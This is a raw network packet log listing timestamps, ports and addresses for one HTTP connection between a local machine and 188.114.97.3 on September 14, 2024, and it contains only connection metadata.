Sep 14, 2024 18:44:11.395425081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395459890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395483017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395495892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395522118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395530939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395585060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395622969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395643950 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395673990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395673990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395706892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395742893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395754099 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395776033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395828009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395832062 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395863056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395895958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395915985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395931959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395966053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395977020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396003008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396061897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396094084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396106005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396131039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396141052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396164894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396203995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396217108 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396260977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396311045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396341085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396353960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396389008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396423101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396442890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396457911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396471977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396513939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396545887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396578074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396605015 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396611929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396640062 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396644115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396677017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396718025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396740913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396753073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396775007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396800995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396833897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396866083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396883011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396898985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396919012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.396931887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396965981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.396997929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397017002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397034883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397047997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397072077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397110939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397146940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397161007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397183895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397196054 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397218943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397253036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397285938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397300959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397319078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397332907 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397351980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397382975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397399902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397414923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397449017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397480965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397496939 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397516012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397528887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397597075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397629976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397663116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397686958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397695065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397720098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397727013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397759914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397792101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397814035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397824049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397847891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397856951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397892952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397941113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.397942066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.397979975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398051023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398051023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.398083925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398103952 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.398117065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398154974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398189068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398205996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.398222923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398238897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.398257971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398296118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398334980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398348093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.398371935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398381948 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.398411036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398443937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398461103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.398478985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398516893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.398571014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.441324949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.441358089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.441401005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.441447020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.441468954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.441596031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.441627979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.441659927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.441693068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.441742897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.441765070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.442814112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.442972898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.443006039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.443027973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.443116903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.443149090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.443172932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.443181038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.443219900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.443293095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.443881035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.443944931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.444015026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.444044113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.444075108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.444113016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.444140911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.444150925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.444173098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.444183111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.444217920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.444277048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.483495951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483546972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483580112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483586073 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.483612061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483635902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.483649969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483683109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483711004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.483719110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483768940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483788013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.483803034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483834982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483870029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483889103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.483920097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483922958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.483954906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.483988047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484008074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484023094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484071016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484071970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484105110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484137058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484174967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484177113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484209061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484229088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484246016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484277964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484330893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484333992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484368086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484402895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484414101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484437943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484453917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484488010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484519958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484539986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484553099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484589100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484602928 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484627962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484675884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484709024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484738111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484741926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484782934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484798908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484821081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484834909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484853983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484884977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484903097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484921932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484955072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.484972954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.484989882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485027075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485076904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485081911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485109091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485142946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485177040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485187054 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485208035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485214949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485246897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485272884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485282898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485316992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485366106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485368013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485398054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485433102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485446930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485467911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485500097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485517025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485536098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485541105 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485584974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485615015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485631943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485646009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485682964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485718012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485719919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485769987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485802889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485831022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485835075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485872030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485888004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485919952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485928059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.485953093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.485985994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486001968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486023903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486057043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486073971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486088991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486121893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486143112 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486152887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486186028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486206055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486223936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486258030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486277103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486289024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486329079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486341000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486361027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486394882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486428022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486449957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486463070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486469030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486493111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486515045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486530066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486546040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486560106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486560106 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486573935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486577034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486592054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486607075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486609936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486623049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486638069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486644030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486653090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486668110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486675978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486681938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.486701012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.486716986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.528765917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.528811932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.528856993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.528892994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.528925896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.528956890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.528964996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.528999090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.529019117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.529031038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.529035091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.529087067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.530471087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.530509949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.530544043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.530596972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.530611992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.530630112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.530643940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.530662060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.530699968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.530745983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.530952930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.531021118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.531085968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.531141996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.531176090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.531208992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.531244993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.531244993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.531261921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.531280994 CEST	80	49722	188.114.97.3	192.168.2.6
